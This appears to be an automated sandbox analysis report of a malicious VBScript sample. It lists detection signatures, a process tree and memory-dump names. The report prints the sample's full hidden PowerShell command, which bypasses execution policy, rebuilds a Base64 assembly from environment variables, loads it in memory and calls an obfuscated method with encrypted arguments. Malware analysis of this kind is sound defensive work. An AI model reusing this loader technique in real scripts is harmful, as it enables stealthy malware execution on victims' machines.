Analysis
- max time kernel
149s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/10/2026, 15:12
General
- Target tropvast.vbs
- Size 4.9MB
- Sample261001-slapastfkd
- SHA256 51cf44c33cbf968f5bd729494e52c218a2104e3b74f81bb25fc14be2694e082f
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\tropvast.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$classificatory=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dirndl=[Convert]::FromBase64String($classificatory);[AppDomain]::CurrentDomain.Load($dirndl)|Out-Null;[Win32.RMP.Cls_ZGqoMWpfzm]::Met_ZGqoMWpfzmEy('Dxb4mFeuS1Ko4m/atYGYNOXUaM172uP0BGym50BTo0JKLiFbGmeHrAsILibMqZ1E7Vn8/s854R2V1MuEjw+1qDSXdjnlNFum0yZLj1YWY2k=','','4WOUqSubNX5TItMmmsboITFpSFPkhRsYhIMOJDe6vU3JuuZ0Ck5rzDUg/YALlP4v','W0wfd5h6FPYCMLEYos5hwrSjP1FTy1jmqzOeMP4k1aI=','6O3QY0PGT7ZiQtYwU2eFhvpNWZtFlGkFwabTW8D/s3M=','','B7cVMdu4bM9dj5csVfTSnR+vvCtIjec8SNCEWB4Jv+o=','','','CnZX4IpqfIZVHGcQE8nf1KvVyYIuF6Ky0E9eTv2794q2ReOwp1elogm+MwVE9fqv','ZjQY1aQNAWdaCcc8Kv1OfvVC/5v1hrN5XSiIZSaFRy0=','eYb5oyHKve4h3/uHrxeH3pN7TgMuGHFGdnFt3DYk61Y=','XsHVcqVTGKGyINovx7Imrib0wGHPbX88IrbsJXCQfRM=','','ITnDtq3IZdLJDNpOSLF1NMKK446U7zkRwnQ0zw5cKMo=','1r20p08wao6jd9eF4GsaBtCNW89p8byF0ojAgPUZ+XQ=','','','')"2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$classificatory=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dirndl=[Convert]::FromBase64String($classificatory);[AppDomain]::CurrentDomain.Load($dirndl)|Out-Null;[Win32.RMP.Cls_ZGqoMWpfzm]::Met_ZGqoMWpfzmEy('Dxb4mFeuS1Ko4m/atYGYNOXUaM172uP0BGym50BTo0JKLiFbGmeHrAsILibMqZ1E7Vn8/s854R2V1MuEjw+1qDSXdjnlNFum0yZLj1YWY2k=','','4WOUqSubNX5TItMmmsboITFpSFPkhRsYhIMOJDe6vU3JuuZ0Ck5rzDUg/YALlP4v','W0wfd5h6FPYCMLEYos5hwrSjP1FTy1jmqzOeMP4k1aI=','6O3QY0PGT7ZiQtYwU2eFhvpNWZtFlGkFwabTW8D/s3M=','','B7cVMdu4bM9dj5csVfTSnR+vvCtIjec8SNCEWB4Jv+o=','','','CnZX4IpqfIZVHGcQE8nf1KvVyYIuF6Ky0E9eTv2794q2ReOwp1elogm+MwVE9fqv','ZjQY1aQNAWdaCcc8Kv1OfvVC/5v1hrN5XSiIZSaFRy0=','eYb5oyHKve4h3/uHrxeH3pN7TgMuGHFGdnFt3DYk61Y=','XsHVcqVTGKGyINovx7Imrib0wGHPbX88IrbsJXCQfRM=','','ITnDtq3IZdLJDNpOSLF1NMKK446U7zkRwnQ0zw5cKMo=','1r20p08wao6jd9eF4GsaBtCNW89p8byF0ojAgPUZ+XQ=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/3384-18-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-26-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-23-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-22-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-21-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-20-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/3384-19-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-10-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-11-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-14-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-15-0x000001E733240000-0x000001E733262000-memory.dmp
memory/5412-16-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-17-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-12-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-13-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-0-0x00007FFCAE3EF000-0x00007FFCAE3F0000-memory.dmp
memory/5412-9-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-6-0x000001E7331D0000-0x000001E7331F2000-memory.dmp
memory/5412-3-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-24-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-2-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-1-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp
memory/5412-29-0x00007FFCAE260000-0x00007FFCAEC04000-memory.dmp